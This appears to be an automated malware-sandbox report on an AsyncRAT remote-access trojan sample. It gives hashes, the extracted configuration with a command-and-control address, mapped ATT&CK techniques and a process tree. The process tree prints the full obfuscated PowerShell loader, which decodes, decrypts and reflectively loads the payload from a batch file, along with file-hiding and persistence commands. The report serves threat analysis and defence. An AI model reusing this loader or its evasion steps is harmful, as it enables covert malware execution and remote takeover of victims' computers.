asyncrat | 54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215

Analysis

max time kernel
90s
max time network
92s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
22/03/2024, 09:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe
Size 4.3MB
Sample240322-k35a8sae92
SHA256 54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215
MD5 654590eade1e5367e1bd10bafcdd6586
SHA1 8652e4029865732aac34f90de3fe9f0eb0176997
SHA512 a21fdf9a74aca1576447ca6d8e83245b31e45e06df81cfb692475dd3946df0c4fdc6c6c9ce8df807b1a0931443a14aec943053b33b8c18ad0adb5e7b253498e5
SSDEEP 98304:9ayec6fQgOksSwY0KkidnIYq/7YAMaYL4Tao1wxPO0f/V4SCymeQ:991Swt0nHmvMaYL4EPO014r
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default evasion persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

45.128.96.133:8848

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2928-49-0x0000023DBA8A0000-0x0000023DBA8B6000-memory.dmp	family_asyncrat

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
3988	attrib.exe

Executes dropped EXE 3 IoCs

pid	Process
4240	SearchUI.exe
1988	install.EXE
2928	pshell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	install.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4181651180-3163410697-3990547336-1000_Classes\Local Settings	54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2928	pshell.exe
2928	pshell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	pshell.exe
Token: SeIncreaseQuotaPrivilege	2928	pshell.exe
Token: SeSecurityPrivilege	2928	pshell.exe
Token: SeTakeOwnershipPrivilege	2928	pshell.exe
Token: SeLoadDriverPrivilege	2928	pshell.exe
Token: SeSystemProfilePrivilege	2928	pshell.exe
Token: SeSystemtimePrivilege	2928	pshell.exe
Token: SeProfSingleProcessPrivilege	2928	pshell.exe
Token: SeIncBasePriorityPrivilege	2928	pshell.exe
Token: SeCreatePagefilePrivilege	2928	pshell.exe
Token: SeBackupPrivilege	2928	pshell.exe
Token: SeRestorePrivilege	2928	pshell.exe
Token: SeShutdownPrivilege	2928	pshell.exe
Token: SeDebugPrivilege	2928	pshell.exe
Token: SeSystemEnvironmentPrivilege	2928	pshell.exe
Token: SeRemoteShutdownPrivilege	2928	pshell.exe
Token: SeUndockPrivilege	2928	pshell.exe
Token: SeManageVolumePrivilege	2928	pshell.exe
Token: 33	2928	pshell.exe
Token: 34	2928	pshell.exe
Token: 35	2928	pshell.exe
Token: 36	2928	pshell.exe
Token: SeIncreaseQuotaPrivilege	2928	pshell.exe
Token: SeSecurityPrivilege	2928	pshell.exe
Token: SeTakeOwnershipPrivilege	2928	pshell.exe
Token: SeLoadDriverPrivilege	2928	pshell.exe
Token: SeSystemProfilePrivilege	2928	pshell.exe
Token: SeSystemtimePrivilege	2928	pshell.exe
Token: SeProfSingleProcessPrivilege	2928	pshell.exe
Token: SeIncBasePriorityPrivilege	2928	pshell.exe
Token: SeCreatePagefilePrivilege	2928	pshell.exe
Token: SeBackupPrivilege	2928	pshell.exe
Token: SeRestorePrivilege	2928	pshell.exe
Token: SeShutdownPrivilege	2928	pshell.exe
Token: SeDebugPrivilege	2928	pshell.exe
Token: SeSystemEnvironmentPrivilege	2928	pshell.exe
Token: SeRemoteShutdownPrivilege	2928	pshell.exe
Token: SeUndockPrivilege	2928	pshell.exe
Token: SeManageVolumePrivilege	2928	pshell.exe
Token: 33	2928	pshell.exe
Token: 34	2928	pshell.exe
Token: 35	2928	pshell.exe
Token: 36	2928	pshell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 3696	2996	54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe	78
PID 2996 wrote to memory of 3696	2996	54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe	78
PID 2996 wrote to memory of 3696	2996	54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe	78
PID 3696 wrote to memory of 4240	3696	WScript.exe	79
PID 3696 wrote to memory of 4240	3696	WScript.exe	79
PID 3696 wrote to memory of 1988	3696	WScript.exe	80
PID 3696 wrote to memory of 1988	3696	WScript.exe	80
PID 1988 wrote to memory of 2532	1988	install.EXE	82
PID 1988 wrote to memory of 2532	1988	install.EXE	82
PID 2532 wrote to memory of 2812	2532	cmd.exe	86
PID 2532 wrote to memory of 2812	2532	cmd.exe	86
PID 2532 wrote to memory of 4828	2532	cmd.exe	87
PID 2532 wrote to memory of 4828	2532	cmd.exe	87
PID 2532 wrote to memory of 3988	2532	cmd.exe	88
PID 2532 wrote to memory of 3988	2532	cmd.exe	88
PID 2532 wrote to memory of 2928	2532	cmd.exe	89
PID 2532 wrote to memory of 2928	2532	cmd.exe	89
PID 2928 wrote to memory of 480	2928	pshell.exe	91
PID 2928 wrote to memory of 480	2928	pshell.exe	91
PID 480 wrote to memory of 4064	480	csc.exe	92
PID 480 wrote to memory of 4064	480	csc.exe	92
PID 2532 wrote to memory of 4056	2532	cmd.exe	96
PID 2532 wrote to memory of 4056	2532	cmd.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3988	attrib.exe
4056	attrib.exe

C:\Users\Admin\AppData\Local\Temp\54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe
"C:\Users\Admin\AppData\Local\Temp\54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe"
    3⤵
    - Executes dropped EXE
    PID:4240
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.EXE
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.EXE"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c Client.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2532
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo F"
        5⤵
        
        PID:2812
    - - C:\Windows\system32\xcopy.exe
        
        xcopy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pshell.exe /y
        5⤵
        
        PID:4828
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h pshell.exe
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3988
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\pshell.exe
        
        pshell.exe -noprofile -windowstyle hidden -executionpolicy bypass -command $czHZrA = (Get-Content -path 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client.bat' -raw).Split([Environment]::NewLine);$mEhEQd = $czHZrA[$czHZrA.Length - 1];$WBuOXY = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('dXNpbmcgU3lzdGVtLlRleHQ7dXNpbmcgU3lzdGVtLklPO3VzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsgcHVibGljIGNsYXNzIEtUTE1lVCB7IHB1YmxpYyBzdGF0aWMgYnl0ZVtdIGdORnVZZChieXRlW10gaW5wdXQsIHN0cmluZyBrZXkpIHsgYnl0ZVtdIGtleWMgPSBFbmNvZGluZy5VVEY4LkdldEJ5dGVzKGtleSk7IGZvciAoaW50IGkgPSAwOyBpIDwgaW5wdXQuTGVuZ3RoOyBpKyspIHsgaW5wdXRbaV0gPSAoYnl0ZSkoaW5wdXRbaV0gXiBrZXljW2kgJSBrZXljLkxlbmd0aF0pOyB9IHJldHVybiBpbnB1dDsgfSBwdWJsaWMgc3RhdGljIGJ5dGVbXSBwZEVhd2soYnl0ZVtdIGJ5dGVzKSB7IE1lbW9yeVN0cmVhbSBtc2kgPSBuZXcgTWVtb3J5U3RyZWFtKGJ5dGVzKTsgTWVtb3J5U3RyZWFtIG1zbyA9IG5ldyBNZW1vcnlTdHJlYW0oKTsgdmFyIGdzID0gbmV3IEdaaXBTdHJlYW0obXNpLCBDb21wcmVzc2lvbk1vZGUuRGVjb21wcmVzcyk7IGdzLkNvcHlUbyhtc28pOyBncy5EaXNwb3NlKCk7IG1zaS5EaXNwb3NlKCk7IG1zby5EaXNwb3NlKCk7IHJldHVybiBtc28uVG9BcnJheSgpOyB9IH0='));Add-Type -TypeDefinition $WBuOXY;[System.Reflection.Assembly]::Load([KTLMeT]::pdEawk([KTLMeT]::gNFuYd([System.Convert]::FromBase64String($mEhEQd), 'JwiWtOSzpasVuhvSQrNM'))).EntryPoint.Invoke($null, (, [string[]] ('')))
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2928
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:480
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES82EB.tmp" "c:\Users\Admin\AppData\Local\Temp\il4pogsx\CSCF65304C3599C44E7A27DE14027AAE849.TMP"
        7⤵
        
        PID:4064
    - - C:\Windows\system32\attrib.exe
        
        attrib -s -h pshell.exe
        5⤵
        Views/modifies file attributes
        
        PID:4056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Client.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client.bat
Size 63KB
SHA256 2323c7926eb3e37d653270291922b8b0abb70259300ba080c379360f7adbfd74
MD5 dbb9d853ab70d50adef392c3c7676969
SHA1 be7afcace273242ac05ffe34b2ac40bab0b62524
SHA512 eb6fc8fd521d28983118823dad412574c3c17809b0d6e334939d9ed6102ae7c3cf2b54542493fc395e3112087114a1f03c38c4d1042e610ab63063c907a03cce
SSDEEP 1536:BIWUDbiE/g9mTSmmxhQ/KCNyVgj6UgtmjwdzwGjagk0cZZ0FZ0S:B0biLmTSmmnQxNy+WUgtrzigk0HZ1
MD5 SHA1 SHA512 SSDEEP

Submit Download

pshell.exe

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\pshell.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

RES82EB.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES82EB.tmp
Size 1KB
SHA256 e516d434b397709054b705f69038e4d578787b3af86c9d0eecce9065bd063ed3
MD5 0a7e3cf88d06a0361807e34f497a1fd5
SHA1 8d152a2dc20ca8752fd4939320614b1829f1b7b8
SHA512 6f14beb401191f6840d203082e59bf49ff3d91d8c2e292e4341142ec32b08f21e1d370e4c4e3ebb9f3340d80cb4f5036c40c2734b5804aa6af7e964a33ee08ed
MD5 SHA1 SHA512

Submit Download

SearchUI.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe
Size 11.5MB
SHA256 b2101ac849bea6cc83622bd09e51424f411eafab8090d3aff04e4d5f5c8b19ae
MD5 48f5aa48f06931e92b138a1d8ed7953a
SHA1 99abfd641aef633eb5e85bad3e45d57bb4a41b7c
SHA512 82febefd2eb5c5f5e5f492b65d5c8286c58d5420b57b76c20ca580b7ae4c2d7e2ce51b2fc0d3de77875d46d119223027c79dc45c8aeb0a7c54de0c6f2a6f931e
SSDEEP 98304:sUGkZ9gEHD8BQuASZ9MOYc0QaCtkVGcFaFHOQSvLVCmJ1:sU/9gEaQjSZ9MO7jzqj
MD5 SHA1 SHA512 SSDEEP

Submit Download

install.EXE

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.EXE
Size 199KB
SHA256 07a14df5ad376cbd221d8a125b9d0648fe5f5f744641a48ff4307ccfccdc510e
MD5 31460264393cbcb6d720169540629392
SHA1 e105d27c25a6f65b34c45376460bfad74d5e6474
SHA512 4687658d784b944333c77a3233e8163fe201145254a39f433a1b96913dc4a085c16ab3669eb9b8628ed622061707e8412d95ed0fe3b8a8523d57170c17c7dbf8
SSDEEP 3072:kvGyYiSDnt185GWp1icKAArDZz4N9GhbkrNEk1ZKgBIZtHuKGfSXgGj+4:I4+p0yN90QEtMKGrGjh
MD5 SHA1 SHA512 SSDEEP

Submit Download

run.vbs

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs
Size 432B
SHA256 90b7b77a3a6e4b935d0f757d5f714fcc41b96caec0a614be99aab114c69b6865
MD5 51a6fe2c5b90544d337777e84783349a
SHA1 ff91082a85da719ce14d8edadfc0c21fc3cdeef8
SHA512 e490ae23fce9c7eaa47a803f648af3ccfee9098d2667977e10e8530e78348143684fa070c0d492678e59c6557a1bbe6f642a487095b08144b9e09864fd36dd1a
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_gqarjefs.pmd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gqarjefs.pmd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

il4pogsx.dll

Path C:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.dll
Size 3KB
SHA256 7fe39e32b1e40322699f3387b346163e7af77edf739f50f096279d1e9913fee6
MD5 7ac03500293d9286bb6803f0cb71bf74
SHA1 b363a0d47c00eedc1a3d04821beba1234560c89e
SHA512 6c7ec0341f8ec252596bbccffb2e04c8d89b330ccb6dfa4526a4f2fd0f1eac219ed053ba2b7703d0efe38b56be6652537f8b1587021ae5984c0e8646fc4f99e1
MD5 SHA1 SHA512

Submit Download

CSCF65304C3599C44E7A27DE14027AAE849.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\il4pogsx\CSCF65304C3599C44E7A27DE14027AAE849.TMP
Size 652B
SHA256 eedcd686117dfd44ca4d9faf9ec880d5d3425d2ad3521fa11e81dc91bb5ef2c1
MD5 677523d67714209dcfc0276299681385
SHA1 97770bd661d485df21fd6bfc4c746b4c8db16841
SHA512 a91396fa8693beec9a0c08e464c326bc71ae0487c44705334b017c3effdbb26ba39ad91851c3c3c15139b298ffe56796b3d16fd6bf5dd16cd49250e05b94dc00
MD5 SHA1 SHA512

Submit Download

il4pogsx.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.0.cs
Size 569B
SHA256 565c0c46bbd0323567ac6198e70e814090b980f3b389d62ad3a787e6ac7534bb
MD5 8ed93d93e7c5b947b70369ff841b9164
SHA1 b3f8089e5e5a25ebb4b2cb03db4dd5c762f7e43e
SHA512 68f8932726450c95eb783938fd1c9fbe8554e6be96a9ca6494d7ea9bfaff5dd87093ed8804f42e6ca1a3ee7c2e30dc964a74dc74bf50b2ae7bc99b74ad5064a8
MD5 SHA1 SHA512

Submit Download

il4pogsx.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.cmdline
Size 369B
SHA256 68d36eee42345d6c4702ebc775f8d0d4613ebc919ce22b411c0386f8ecab9079
MD5 c0ba6b1a70fb8effd2351cc4766e207a
SHA1 20ac57e49d3f3b37658c97269deddb14284dac30
SHA512 14a62e3ab175db0ca70c62ab45167f689bede8e9fab83f1bf38548606cf26dd14b4c99690a3ff0c12c942f764dfac18bc55d2e677a3b268d50b256bcfa9185f5
MD5 SHA1 SHA512

Submit Download

memory/2928-31-0x0000023DA2460000-0x0000023DA2470000-memory.dmp

Download

memory/2928-32-0x0000023DA2460000-0x0000023DA2470000-memory.dmp

Download

memory/2928-33-0x0000023DA2460000-0x0000023DA2470000-memory.dmp

Download

memory/2928-30-0x00007FFFABE70000-0x00007FFFAC932000-memory.dmp

Download

memory/2928-46-0x0000023DBA860000-0x0000023DBA868000-memory.dmp

Download

memory/2928-29-0x0000023DBA6D0000-0x0000023DBA6F2000-memory.dmp

Download

memory/2928-48-0x0000023DBA880000-0x0000023DBA89C000-memory.dmp

Download

memory/2928-49-0x0000023DBA8A0000-0x0000023DBA8B6000-memory.dmp

Download

memory/2928-50-0x00007FFFABE70000-0x00007FFFAC932000-memory.dmp

Download